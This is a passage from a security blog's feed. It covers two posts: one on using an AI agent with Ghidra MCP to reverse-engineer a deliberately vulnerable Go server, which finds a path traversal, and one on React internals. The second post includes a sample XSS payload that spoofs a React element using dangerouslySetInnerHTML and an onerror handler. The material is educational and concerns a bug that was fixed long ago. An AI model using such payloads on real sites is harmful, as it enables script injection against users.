function">Use</span><span class="token punctuation">(</span>middleware<span class="token punctuation">.</span><span class="token function">AuthMiddleware</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>  <span class="token punctuation">&#123;</span>    apiAuth<span class="token punctuation">.</span><span class="token function">GET</span><span class="token punctuation">(</span><span class="token string">"/users/:id"</span><span class="token punctuation">,</span> userHandler<span class="token punctuation">.</span>GetUserByID<span class="token punctuation">)</span>    apiAuth<span class="token punctuation">.</span><span class="token function">GET</span><span class="token punctuation">(</span><span class="token string">"/my-messages"</span><span class="token punctuation">,</span> userHandler<span class="token punctuation">.</span>GetMyMessages<span class="token punctuation">)</span>    apiAuth<span class="token punctuation">.</span><span class="token function">POST</span><span class="token punctuation">(</span><span class="token string">"/avatar"</span><span class="token punctuation">,</span> avatarHandler<span class="token punctuation">.</span>Upload<span class="token punctuation">)</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> r<span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>The structure of the code is slightly different from the original, indicating that there was no cheating (?). By the way, I had it run under different contexts, so it indeed could not see the original Golang source code.</p><p>In any case, the reverse-engineered code is clear and readable, but there are a few small errors. For example, <code>/my-messages</code> does not exist; it should be <code>/me/messages</code>. <code>/avatar</code> should also be <code>/me/avatar</code>. It seems some parts were skipped lazily.</p><p>The registration part looks like this:</p><pre class="line-numbers language-go" data-language="go"><code class="language-go"><span class="token keyword">func</span> <span class="token punctuation">(</span>h <span class="token operator">*</span>AuthHandler<span class="token punctuation">)</span> <span class="token function">Register</span><span class="token punctuation">(</span>c <span class="token operator">*</span>gin<span class="token punctuation">.</span>Context<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">var</span> req RegisterRequest  <span class="token keyword">if</span> err <span class="token operator">:=</span> c<span class="token punctuation">.</span><span class="token function">ShouldBindJSON</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>req<span class="token punctuation">)</span><span class="token punctuation">;</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusBadRequest<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"invalid request"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  hashedPassword<span class="token punctuation">,</span> err <span class="token operator">:=</span> bcrypt<span class="token punctuation">.</span><span class="token function">GenerateFromPassword</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token function">byte</span><span class="token punctuation">(</span>req<span class="token punctuation">.</span>Password<span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">10</span><span class="token punctuation">)</span>  <span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusInternalServerError<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"failed to hash password"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  query <span class="token operator">:=</span> <span class="token string">`INSERT INTO users (username, email, password_hash) VALUES (?, ?, ?)`</span>  <span class="token boolean">_</span><span class="token punctuation">,</span> err <span class="token operator">=</span> h<span class="token punctuation">.</span>DB<span class="token punctuation">.</span><span class="token function">ExecContext</span><span class="token punctuation">(</span>c<span class="token punctuation">.</span>Request<span class="token punctuation">.</span><span class="token function">Context</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> query<span class="token punctuation">,</span> req<span class="token punctuation">.</span>Username<span class="token punctuation">,</span> req<span class="token punctuation">.</span>Email<span class="token punctuation">,</span> <span class="token function">string</span><span class="token punctuation">(</span>hashedPassword<span class="token punctuation">)</span><span class="token punctuation">)</span>  <span class="token keyword">if</span> err <span class="token operator">!=</span> <span class="token boolean">nil</span> <span class="token punctuation">&#123;</span>    c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusConflict<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"error"</span><span class="token punctuation">:</span> <span class="token string">"username or email already exists"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span>    <span class="token keyword">return</span>  <span class="token punctuation">&#125;</span>  c<span class="token punctuation">.</span><span class="token function">JSON</span><span class="token punctuation">(</span>http<span class="token punctuation">.</span>StatusCreated<span class="token punctuation">,</span> gin<span class="token punctuation">.</span>H<span class="token punctuation">&#123;</span><span class="token string">"message"</span><span class="token punctuation">:</span> <span class="token string">"registration successful"</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>The part that was intentionally left for SQL injection has now been fixed, indicating that what it reverse-engineered is incorrect.</p><p>However, the path traversal vulnerability during file upload still exists, and it was easily identified:</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p10-en.jpg" alt="vulnerability"></p><p>The above results were generated using the Cursor’s own composer 1.5 model because I was running out of quota, which is not as smart.</p><p>After switching to Opus 4.6, with the same prompt, it not only restored the code but also performed a security check, identifying the vulnerabilities that needed to be found. However, the route part still has errors; <code>/me</code> became <code>/my</code>. I thought these should be completely restored?</p><p><img src="/img/reverse-engineering-with-ai-ghidra-mcp/p11-en.jpg" alt="opus findings"></p><h2><span id="conclusion">Conclusion</span></h2><p>Thanks to the evolution of AI agents and the MCP mechanism, agents can freely operate many different software to assist in automation.</p><p>Honestly, I experienced the joy of those so-called vibe coders when creating products during this reverse engineering process, which is: “I didn’t expect that I, who can’t write code, could also create a website, even though I don’t understand the principles, but it seems like something was made.”</p><p>However, vibe coding can lead to many small issues that someone who can’t write code might not discover, and relying solely on AI for reverse engineering is likely the same. Just like when I initially used composer 1.5, the results were incorrect. But thinking from another perspective, the overall process and API endpoints are correct, which is quite a gain.</p><p>Originally, relying on myself would score 0 points, but with AI, I can at least secure 60 points, which feels like a win.</p><p>The times are evolving, and tools are improving. This article aims to document my process of using these tools and AI agents for simple reverse engineering. Although the final results still have some minor errors, for a web server, the information obtained after reverse engineering the binary can be combined with dynamic testing for validation. Even with some small errors, it is still very helpful for overall testing.</p><p>After this run, I still feel that reverse engineering is very difficult, and I still think that those who understand reverse engineering are impressive. After all, I was working with a small binary; I’m not sure what would happen with a larger one.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;Recently, I encountered a situation where I got a Golang HTTP server binary and needed to disassemble it for further research to find clues for the next steps.&lt;/p&gt;
&lt;p&gt;However, I am quite unfamiliar with reverse engineering. I only know how to throw the binary into Ghidra, and then I’m lost; I can’t even search for strings.&lt;/p&gt;
&lt;p&gt;But now AI agents have evolved rapidly. As long as the tools are used properly, even a reverse engineering layman like me can easily rely on AI to perform basic reverse engineering. This article will document the steps.&lt;/p&gt;
&lt;p&gt;To start with, the program I received and the one demonstrated here are relatively small. I don’t know if larger or more complex ones would work. I also don’t believe AI can completely replace the tasks that humans originally needed to perform, but it can definitely make some tasks easier.&lt;/p&gt;
&lt;p&gt;For someone like me, who originally could extract almost nothing, even getting some clues from AI is good. Even if it’s nonsense, it has some reference value; having something is better than nothing. I can still find ways to verify the nonsense. As for those who already know how to reverse engineer, I’m not sure if AI would help them or how they would use it; that’s beyond the scope of this discussion.&lt;/p&gt;</summary>
    
    
    
    <category term="Security" scheme="https://blog.huli.tw/categories/Security/"/>
    
    
    <category term="Security" scheme="https://blog.huli.tw/tags/Security/"/>
    
  </entry>
  
  
  
  <entry>
    <title>Learning the Core of JavaScript from React</title>
    <link href="https://blog.huli.tw/2025/11/16/en/learn-advanced-javascript-from-react/"/>
    <id>https://blog.huli.tw/2025/11/16/en/learn-advanced-javascript-from-react/</id>
    <published>2025-11-15T22:32:08.000Z</published>
    <updated>2025-11-16T08:21:56.423Z</updated>
    
    <content type="html"><![CDATA[<p>Recently, I shared this topic at the online pre-event of <a href="https://2025.jsdc.tw/">JSDC</a>. Since I already shared it, I thought it would be good to write an article. The inspiration and content of this article actually come from <a href="https://www.tenlong.com.tw/products/9786267757048">“JavaScript Relearning”</a> (only available in Chinese). When I wrote the book, I referenced some elements from the React source code, and this article is just a reorganization and rewriting of the various React-related chapters that were originally scattered throughout the book.</p><p>I find it interesting to learn new concepts from the code of these open-source projects. After all, the more bugs these widely used frameworks encounter, the more solutions to these problems can be learned, allowing for reflection on what one has previously learned.</p><p>This article is divided into three small sections:</p><ol><li>XSS Vulnerabilities in Older Versions of React</li><li>Learning the Event Loop from React Fiber</li><li>Learning Underlying Mechanics from V8 Bugs</li></ol><span id="more"></span><h2><span id="xss-vulnerabilities-in-older-versions-of-react">XSS Vulnerabilities in Older Versions of React</span></h2><p>What security issues can you find in the following code?</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">Test</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">const</span> name <span class="token operator">=</span> qs<span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>location<span class="token punctuation">.</span>search<span class="token punctuation">)</span><span class="token punctuation">.</span>name<span class="token punctuation">;</span>  <span class="token keyword">return</span> <span class="token punctuation">(</span>    <span class="token operator">&lt;</span>div className<span class="token operator">=</span><span class="token string">"text-red"</span><span class="token operator">></span>      <span class="token operator">&lt;</span>h1<span class="token operator">></span><span class="token punctuation">&#123;</span>name<span class="token punctuation">&#125;</span><span class="token operator">&lt;</span><span class="token operator">/</span>h1<span class="token operator">></span>    <span class="token operator">&lt;</span><span class="token operator">/</span>div<span class="token operator">></span>  <span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>At first glance, it seems there’s no problem, right? Isn’t it just rendering a name? In React, it automatically encodes, so even if an <code>&lt;img&gt;</code> is inserted, it won’t be parsed as a tag but will be converted to plain text, which seems fine.</p><p>If we continue to expand this code, transforming JSX into JavaScript, it would look something like this:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">Test</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">const</span> name <span class="token operator">=</span> qs<span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>location<span class="token punctuation">.</span>search<span class="token punctuation">)</span><span class="token punctuation">.</span>name<span class="token punctuation">;</span>  <span class="token keyword">return</span> <span class="token function">createElement</span><span class="token punctuation">(</span>    <span class="token string">'div'</span><span class="token punctuation">,</span>    <span class="token punctuation">&#123;</span> <span class="token literal-property property">className</span><span class="token operator">:</span> <span class="token string">'text-red'</span> <span class="token punctuation">&#125;</span><span class="token punctuation">,</span>    <span class="token function">createElement</span><span class="token punctuation">(</span>      <span class="token string">'h1'</span><span class="token punctuation">,</span>      <span class="token punctuation">&#123;</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span>      name    <span class="token punctuation">)</span>  <span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>JSX syntax is converted back to JavaScript during compilation. The old version uses <code>React.createElement</code>, while the new version has changed to <code>_jsx</code>, but regardless of how the API looks, it’s essentially a piece of JavaScript that creates an element.</p><p>After these functions are executed, they produce what is known as the virtual DOM. If we expand it into an object, it would look like this:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">function</span> <span class="token function">Test</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">const</span> name <span class="token operator">=</span> qs<span class="token punctuation">.</span><span class="token function">parse</span><span class="token punctuation">(</span>location<span class="token punctuation">.</span>search<span class="token punctuation">)</span><span class="token punctuation">.</span>name<span class="token punctuation">;</span>  <span class="token keyword">return</span> <span class="token punctuation">(</span><span class="token punctuation">&#123;</span>    <span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">'div'</span><span class="token punctuation">,</span>    <span class="token literal-property property">props</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>      <span class="token literal-property property">className</span><span class="token operator">:</span> <span class="token string">'text-red'</span><span class="token punctuation">,</span>      <span class="token literal-property property">children</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>        <span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">'h1'</span><span class="token punctuation">,</span>        <span class="token literal-property property">props</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>          <span class="token literal-property property">children</span><span class="token operator">:</span> name        <span class="token punctuation">&#125;</span>      <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>When React renders, it will render based on this object and display the name we passed in.</p><p>But the problem arises: libraries like <code>qs</code> actually support objects. For example, <code>?name[test]=1</code> would make name become <code>&#123;&quot;test&quot;: 1&#125;</code>. Therefore, although this name should appear to be a string, it can actually be an object.</p><p>Even though passing objects is usually blocked by React, have you ever thought that these components are also objects? So how does React determine whether an object is a component?</p><p>In older versions of React, this check is very simple:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">ReactElement<span class="token punctuation">.</span><span class="token function-variable function">isValidElement</span> <span class="token operator">=</span> <span class="token keyword">function</span><span class="token punctuation">(</span><span class="token parameter">object</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">return</span> <span class="token operator">!</span><span class="token operator">!</span><span class="token punctuation">(</span>    <span class="token keyword">typeof</span> object <span class="token operator">===</span> <span class="token string">'object'</span> <span class="token operator">&amp;&amp;</span>    object <span class="token operator">!==</span> <span class="token keyword">null</span> <span class="token operator">&amp;&amp;</span>    <span class="token string">'type'</span> <span class="token keyword">in</span> object <span class="token operator">&amp;&amp;</span>    <span class="token string">'props'</span> <span class="token keyword">in</span> object  <span class="token punctuation">)</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>As long as there is a type and props, it is considered a React component. Therefore, if our name looks like this:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token punctuation">&#123;</span>  <span class="token literal-property property">type</span><span class="token operator">:</span> <span class="token string">"div"</span><span class="token punctuation">,</span>  <span class="token literal-property property">props</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>    <span class="token literal-property property">dangerouslySetInnerHTML</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>      <span class="token literal-property property">__html</span><span class="token operator">:</span> <span class="token string">"&lt;img src=x onerror=alert()>"</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>It would be treated as a React component and rendered accordingly.</p><p>In this way, this feature is successfully exploited to pretend to be a React component and render arbitrary HTML, creating an XSS vulnerability.</p><p>This vulnerability was first discovered by Daniel LeCheminan in 2015, who wrote an article: <a href="http://danlec.com/blog/xss-via-a-spoofed-react-element">XSS via a spoofed React element</a>, although the context in the original text is slightly different.</p><p>In summary, this issue caught React’s attention, leading to a discussion in an issue: <a href="https://github.com/facebook/react/issues/3473">How Much XSS Vulnerability Protection is React Responsible For? #3473</a>, and the final fix can be found here: <a href="https://github.com/facebook/react/pull/4832">Use a Symbol to tag every ReactElement #4832</a>.</p><p>The solution is: Symbol.</p><p>By adding a <code>$$typeof: Symbol.for(&#39;react.element&#39;)</code> to the React component and including this check in <code>isValidElement</code>, we can ensure that other objects cannot forge a React component.</p><p>The underlying principle is the characteristic of symbols; unlike regular objects, a symbol is only equal to the same symbol, and JSON deserialization does not support symbols. Therefore, you can only create ordinary objects and cannot create a symbol, which naturally prevents the forgery of components.</p><p>In the future, if someone asks you where symbols can be used, you can use this case as an answer.</p><p>Additionally, this is not only applicable to the frontend; the backend is the same. For example, in older versions of JavaScript ORM: <a href="https://sequelize.org/">Sequelize</a>, operators were also represented as strings, such as:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">Post<span class="token punctuation">.</span><span class="token function">findAll</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span>  <span class="token literal-property property">where</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>    <span class="token literal-property property">authorId</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>      <span class="token string-property property">'$or'</span><span class="token operator">:</span> <span class="token punctuation">[</span><span class="token number">12</span><span class="token punctuation">,</span> <span class="token number">13</span><span class="token punctuation">]</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>However, starting from v5, they have all been replaced with symbols, and the original strings have been deprecated:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">const</span> <span class="token punctuation">&#123;</span> Op <span class="token punctuation">&#125;</span> <span class="token operator">=</span> <span class="token function">require</span><span class="token punctuation">(</span><span class="token string">'sequelize'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>Post<span class="token punctuation">.</span><span class="token function">findAll</span><span class="token punctuation">(</span><span class="token punctuation">&#123;</span>  <span class="token literal-property property">where</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>    <span class="token literal-property property">authorId</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>      <span class="token punctuation">[</span>Op<span class="token punctuation">.</span>or<span class="token punctuation">]</span><span class="token operator">:</span> <span class="token punctuation">[</span><span class="token number">12</span><span class="token punctuation">,</span> <span class="token number">13</span><span class="token punctuation">]</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">// operators.ts</span><span class="token keyword">export</span> <span class="token keyword">const</span> <span class="token literal-property property">Op</span><span class="token operator">:</span> OpTypes <span class="token operator">=</span> <span class="token punctuation">&#123;</span>  <span class="token literal-property property">eq</span><span class="token operator">:</span> Symbol<span class="token punctuation">.</span><span class="token function">for</span><span class="token punctuation">(</span><span class="token string">'eq'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>  <span class="token literal-property property">ne</span><span class="token operator">:</span> Symbol<span class="token punctuation">.</span><span class="token function">for</span><span class="token punctuation">(</span><span class="token string">'ne'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>  <span class="token literal-property property">gte</span><span class="token operator">:</span> Symbol<span class="token punctuation">.</span><span class="token function">for</span><span class="token punctuation">(</span><span class="token string">'gte'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>  <span class="token literal-property property">or</span><span class="token operator">:</span> Symbol<span class="token punctuation">.</span><span class="token function">for</span><span class="token punctuation">(</span><span class="token string">'or'</span><span class="token punctuation">)</span><span class="token punctuation">,</span>  <span class="token comment">// [...]</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>The underlying reason is the same, which is a consideration for information security. The original PR can be found here: <a href="https://github.com/sequelize/sequelize/pull/8240">Secure operators #8240</a>.</p><p>By the way, during a live stream, someone asked, if you can create a symbol, does that mean these defenses are useless? The answer is: yes. But usually, to create a symbol, either you already have the ability to execute code, or the developer needs to add a deserializer that can create symbols, both of which are quite difficult to achieve.</p><h2><span id="learning-event-loop-from-react-fiber">Learning Event Loop from React Fiber</span></h2><p>In 2018, I wrote an article related to React Fiber: <a href="https://blog.huli.tw/2018/03/31/en/react-fiber-and-lifecycles/">A Brief Discussion on React Fiber and Its Impact on Lifecycles</a>, and the mechanism can be summed up as: “breaking large synchronous tasks into multiple asynchronous small tasks” to avoid blocking the main thread.</p><p>So how can this mechanism be implemented in JavaScript? How should these asynchronous tasks be scheduled?</p><h3><span id="react-1600-requestidlecallback">React 16.0.0 - requestIdleCallback</span></h3><p>In the earliest version of React 16.0.0, it used the browser’s built-in API: requestIdleCallback. The MDN description is:</p><blockquote><p>The window.requestIdleCallback() method queues a function to be called during a browser’s idle periods. This enables developers to perform background and low priority work on the main thread, without impacting latency-critical events such as animation and input response.</p></blockquote><p>After breaking the original large task into smaller tasks, <code>requestIdleCallback</code> is used to schedule the next task, allowing the browser to execute it when idle, thus not blocking the main thread.</p><h3><span id="react-1640-requestanimationframe-postmessage">React 16.4.0 - requestAnimationFrame + postMessage</span></h3><p>However, in React 16.4.0, it was replaced with a combination of <code>requestAnimationFrame</code> (hereafter referred to as rAF) and <code>postMessage</code> (this method was initially intended as a fallback for when <code>requestIdleCallback</code> was not available, but in this version, it was promoted and directly replaced <code>requestIdleCallback</code>).</p><p>In this mechanism, two types of callbacks are created: one is a callback scheduled using rAF, which is automatically triggered by the browser, and the other is a callback scheduled using <code>window.addEventListener(&#39;message&#39;, fn)</code>, triggered through <code>window.postMessage</code>.</p><p>The actual operation of this mechanism works like this: each tick below represents one event loop. We first schedule an rAF, and within it, calculate the time when the next rAF should be triggered (which is the current time + frame length, e.g., 16ms):</p><p><img src="/img/learn-advanced-javascript-from-react/p1.png" alt="rAF"></p><p>Next, call rAF and postMessage again inside to schedule the callback for the next tick:</p><p><img src="/img/learn-advanced-javascript-from-react/p2.png" alt="rAF + postMessage"></p><p>The next step is browser render. After it finishes, it enters the next tick, and then the message handler is triggered:</p><p><img src="/img/learn-advanced-javascript-from-react/p3.png" alt="message handler"></p><p>Since the time for the next rAF to be triggered has already been calculated, the message handler can take advantage of this time (which could be around 5ms or longer) to perform tasks, executing small tasks continuously before the time is up.</p><p>After execution, rAF will be triggered again, doing the same thing as before, scheduling the callback for the next tick, and then browser render, ending this tick:</p><p><img src="/img/learn-advanced-javascript-from-react/p4.png" alt="tick over"></p><p>This process continues to execute, which is the entire asynchronous task scheduling mechanism. In simple terms, it is:</p><ol><li>Calculate how much time can be spent executing tasks without interfering with rendering in rAF.</li><li>Execute tasks as much as possible in the message handler.</li></ol><p>In the React source code, rAF is referred to as Animation Tick, while the message handler is called Idle Tick.</p><p>So why use postMessage and message handler? The reason is that if you use <code>setTimeout(fn, 0)</code>, there is a classic 4ms limitation. If you keep using setTimeout to schedule tasks, after a few recursive arrangements, the shortest execution interval will become 4ms, regardless of how much you set the interval.</p><p>On the other hand, postMessage and message handler do not have this limitation, which is why this approach was chosen.</p><p>However, there is a downside to using the message handler, which is that the current usage is <code>window.addEventListener(&#39;message&#39;, fn)</code>, so every time a task is scheduled, <code>window.postMessage</code> must be used. If there are other listeners on the page, it will be triggered repeatedly.</p><p>For example, some extensions might print out all received messages to help with debugging, potentially receiving one every 30ms, which could flood the logs. Such side-effect behavior is clearly not ideal and can interfere with other implementations.</p><h3><span id="react-1670-requestanimationframe-messagechannel">React 16.7.0 - requestAnimationFrame + MessageChannel</span></h3><p>Starting from React 16.7.0, this part was changed to use MessageChannel, which is another Web API for message exchange. Its usage is quite similar to the original, just with the added concept of a port:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// DOM and Worker environments.</span><span class="token comment">// We prefer MessageChannel because of the 4ms setTimeout clamping.</span><span class="token keyword">const</span> channel <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">MessageChannel</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">const</span> port <span class="token operator">=</span> channel<span class="token punctuation">.</span>port2<span class="token punctuation">;</span>channel<span class="token punctuation">.</span>port1<span class="token punctuation">.</span>onmessage <span class="token operator">=</span> performWorkUntilDeadline<span class="token punctuation">;</span><span class="token function-variable function">schedulePerformWorkUntilDeadline</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">&#123;</span>  port<span class="token punctuation">.</span><span class="token function">postMessage</span><span class="token punctuation">(</span><span class="token keyword">null</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>In the comments of the code, you can also see why React does not use setTimeout, which is the same reason I just mentioned. The PR for this change is here: <a href="https://github.com/facebook/react/pull/14234">[scheduler] Post to MessageChannel instead of window #14234</a>.</p><p>It seems like that’s it? This mechanism is quite reasonable, using two different types of asynchronous tasks to do different things while trying to perform tasks without interfering with rendering.</p><h3><span id="react-16120-messagechannel">React 16.12.0 - MessageChannel</span></h3><p>However, in React 16.12.0, the mechanism changed again, removing rAF and leaving only MessageChannel, executing for a maximum of 5ms each time:</p><p><img src="/img/learn-advanced-javascript-from-react/p5.png" alt="message channel"></p><p>So why switch to this mechanism? There are two places that explain it. The first is the <a href="https://github.com/facebook/react/blob/v16.12.0/packages/scheduler/src/forks/SchedulerHostConfig.default.js">code</a> in 16.12.0:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// Scheduler periodically yields in case there is other work on the main</span><span class="token comment">// thread, like user events. By default, it yields multiple times per frame.</span><span class="token comment">// It does not attempt to align with frame boundaries, since most tasks don't</span><span class="token comment">// need to be frame aligned; for those that do, use requestAnimationFrame.</span><span class="token keyword">let</span> yieldInterval <span class="token operator">=</span> <span class="token number">5</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>The main idea is that since the task does not need to align with the rendering of the screen, it ignores rendering and just keeps yielding.</p><p>The second explanation is from the issue <a href="https://github.com/facebook/react/issues/21662">Concurrency &#x2F; time-slicing by default #21662</a>, where someone asked if the scheduler was still using <code>requestIdleCallback</code>. Dan’s comment was:</p><blockquote><p>No, it fired too late and we’d waste CPU time. It’s really important for our use case that we utilize CPU to full extent rather than only after some idle period. So instead we rewrote to have our own loop that yields every 5ms.</p></blockquote><p>This clarifies why <code>requestIdleCallback</code> was eliminated at the beginning, because it fired too late.</p><p>So how is the implementation in the latest version v19.2.0?</p><p>From the <a href="https://github.com/facebook/react/blob/v19.2.0/packages/scheduler/src/forks/Scheduler.js">code</a>, it can be seen that it is basically the same mechanism as above, with not much change. It still uses MessageChannel to schedule tasks and yields every so often.</p><h3><span id="in-the-near-future-native-scheduler-api">In the Near Future: Native Scheduler API</span></h3><p>In fact, the Scheduler is not just for React; it is used whenever asynchronous task scheduling is needed. Therefore, browsers actually provide a native <a href="https://developer.mozilla.org/en-US/docs/Web/API/Scheduler">Scheduler API</a>, but it is still new and not well supported. However, it can be anticipated that in the future, there may be no need to write a custom implementation, as using the native browser API would be the best option.</p><p>In fact, React is already using this to implement a set, but it is still in an unstable state: <a href="https://github.com/facebook/react/blob/v19.2.0/packages/scheduler/src/forks/SchedulerPostTask.js">SchedulerPostTask.js</a>. The native API directly supports scheduling tasks with different priorities, which is much more convenient than writing it yourself.</p><p>In summary, from React’s code for scheduling asynchronous tasks, we can learn about the differences in timing and frequency of triggering different functions. We can also understand why React made such choices through these changes in mechanisms, allowing us to better grasp the nuances of these asynchronous details.</p><h2><span id="learning-about-underlying-operations-from-v8-bug">Learning About Underlying Operations from V8 Bug</span></h2><p>Continuing from the earlier discussion about React fiber, there is a section related to the profiler in the <a href="https://github.com/facebook/react/blob/v19.2.0/packages/react-reconciler/src/ReactFiber.js#L177">code</a>:</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">if</span> <span class="token punctuation">(</span>enableProfilerTimer<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>actualDuration <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">0</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>actualStartTime <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">1.1</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>selfBaseDuration <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">0</span><span class="token punctuation">;</span>  <span class="token keyword">this</span><span class="token punctuation">.</span>treeBaseDuration <span class="token operator">=</span> <span class="token operator">-</span><span class="token number">0</span><span class="token punctuation">;</span><span class="token 